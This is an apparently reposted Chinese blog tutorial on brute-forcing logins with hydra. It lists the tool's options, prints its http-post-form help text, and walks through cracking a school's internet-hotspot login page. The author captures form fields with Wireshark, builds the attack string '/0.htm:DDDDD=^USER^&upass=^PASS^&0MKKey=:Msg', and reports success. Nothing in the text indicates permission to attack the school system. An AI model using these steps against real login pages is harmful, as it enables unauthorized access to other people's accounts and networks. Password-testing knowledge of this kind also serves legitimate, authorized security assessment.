使用hydra暴力破解web登录界面

来源:互联网 发布:博拉网络上市最新消息 编辑:程序博客网 时间:2024/04/30 18:39

hydra的简介

 hydra破解工具支持多种协议的登录密码,可以添加新组件,使用方便灵活。hydra可在Linux、Windows和OS X中使用。hydra可以用来破解很多种服务,包括IMAP,HTTP,SMB,VNC,MS-SQL,MySQL,SMTP等等。

hydra的主要选项(摘自《Kail Linux&BackTrack渗透测试实战》)

-R    修复之前使用的aborted/crashed session

-S 执行SSL(Secure Socket Layer)连接

-s  Port 使用非默认服务器端口而是其他端口时,指定其端口

-l Login 已经获取登录ID的情况下输入登录ID

-L FILE 未获取登录ID情况下指定用于暴力破解的文件(需要指出全路径)

-p  Pass 已经获取登录密码的情况下输入登录密码

-P  FILE 未获取登录密码的情况下指定用于暴力破解的文件(需要指出全路径)

-x  MIN:MAX:CHARSET 暴力破解时不指定文件,而生可以满足指定字符集和最短、最长长度条件的密码来尝试暴力破解

-C FILE 用于指定由冒号区分形式的暴力破解专用文件,即ID:Password形式

-M FILE指定实施并列攻击的文件服务器的目录文件

-o   FILE以STDOUT的形式输出结果值

-f  查找到第一个可以使用的ID和密码的时候停止破解

-t TASKS 指定并列连接数(默认值:16)

-w 指定每个线程的回应时间(Waittime)(默认值:32秒)

-4/6  指定IPv4/IPv6(默认值:IPv4)

-v/-V显示详细信息

-U 查看服务器组件使用明细

对于FTP服务器解示例

掌握FTP服务器的ID后,利用hydra暴力破解

服务器的ID是root ,破解的字典密码是password.txt  ,服务器的ip为192.168.126.136(其他均为默认值) 协议是ftp

对于web登录界面的破解

对于基于表单提交的web登录界面,在破解之前你必须知道你要破解web表达的相关信息。对于每个web都会有不同的URL ,参数和失败以及成功的返回信息
你需要知道的信息有:
1.你要破解的主机名或者IP和URL
2.区分是https和http
3.表单支持的提交方法(POST or GET)
4.请求的参数名
5.登录成功和失败时返回信息的区别
如果对于以上任何一项信息理解错误都将引起破解失败
根据以上提示获取必要信息(针对学校上网城市热点登录破解):


使用wireshark抓取使用错误的用户名和密码登录时的数据包

从上图可得主机ip为192.168.100.83;
                           url为http://192.168.100.83/0.htm;
                           表单的提交方式为post;

表单选项表单参数为:DDDDD=用户名 upass=密码 OMKKey=空

错误提示含有Ivalid account or password……中文返回信息不能够作为判别条件
或者查看网页源码寻找具有代表性的登录错误提示

Msg也可以作为登录错误页面的返回判断条件,因为登录成功的页面是不含有Msg字符串的
获取以上信息我们就可以使用hydra暴力破解了:
已经构造好的用户字典:

第一个账号是正确的账号
密码字典:

第一个密码是正确的
查询破解http-post-form破解的命令输入格式:
root@qianqiangV:~# hydra -U http-post-form
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.


Hydra (http://www.thc.org/thc-hydra) starting at 2015-07-18 05:27:30


Help for module http-post-form:
============================================================================
Module http-post-form requires the page and the parameters for the web form.


By default this module is configured to follow a maximum of 5 redirections in
a row. It always gathers a new cookie from the same URL without variables
The parameters take three ":" separated values, plus optional values.
(Note: if you need a colon in the option string as value, escape it with "\:", but do not escape a "\" with "\\".)


Syntax:   <url>:<form parameters>:<condition string>[:<optional>[:<optional>]
First is the page on the server to GET or POST to (URL).
Second is the POST/GET variables (taken from either the browser, proxy, etc.
 with usernames and passwords being replaced in the "^USER^" and "^PASS^"
 placeholders (FORM PARAMETERS)
Third is the string that it checks for an *invalid* login (by default)
 Invalid condition login check can be preceded by "F=", successful condition
 login check must be preceded by "S=".
 This is where most people get it wrong. You have to check the webapp what a
 failed string looks like and put it in this parameter!
The following parameters are optional:
 C=/page/uri     to define a different page to gather initial cookies from
 (h|H)=My-Hdr\: foo   to send a user defined HTTP header with each request
                 ^USER^ and ^PASS^ can also be put into these headers!
                 Note: 'h' will add the user-defined header at the end
                 regardless it's already being sent by Hydra or not.
                 'H' will replace the value of that header if it exists, by the
                 one supplied by the user, or add the header at the end
Note that if you are going to put colons (:) in your headers you should escape them with a backslash (\).
 All colons that are not option separators should be escaped (see the examples above and below).
 You can specify a header without escaping the colons, but that way you will not be able to put colons
 in the header value itself, as they will be interpreted by hydra as option separators.


Examples:
 "/login.php:user=^USER^&pass=^PASS^:incorrect"
 "/login.php:user=^USER^&pass=^PASS^&colon=colon\:escape:S=authlog=.*success"
 "/login.php:user=^USER^&pass=^PASS^&mid=123:authlog=.*failed"
 "/:user=^USER&pass=^PASS^:failed:H=Authorization\: Basic dT1w:H=Cookie\: sessid=aaaa:h=X-User\: ^USER^"
 "/exchweb/bin/auth/owaauth.dll:destination=http%3A%2F%2F<target>%2Fexchange&flags=0&username=<domain>%5C^USER^&password=^PASS^&SubmitCreds=x&trusted=0:reason=:C=/exchweb"

http-post-form是指待破解的服务(如果是用get提交可以换成http-get-form)
"/0.htm:DDDDD=^USER^&upass=^PASS^&0MKKey=:Msg"格式为: <url>:<表单参数>:<返回值>[:<optional>[:<optional>]
表单参数用户名需要用^USER^替代和密码需要用^PASS^替代:返回值,可以定义登录正确的返回值S=,也可以定义登录错误的返回值
F=,,默认是F=

破解成功!
hydra是一款优秀的破解工具,但是登录页面需要验证码,则没有办法破译。我将会在下一篇文章,使用java写一个类似的破解这个登录页面的暴力破解程序
0 0
原创粉丝点击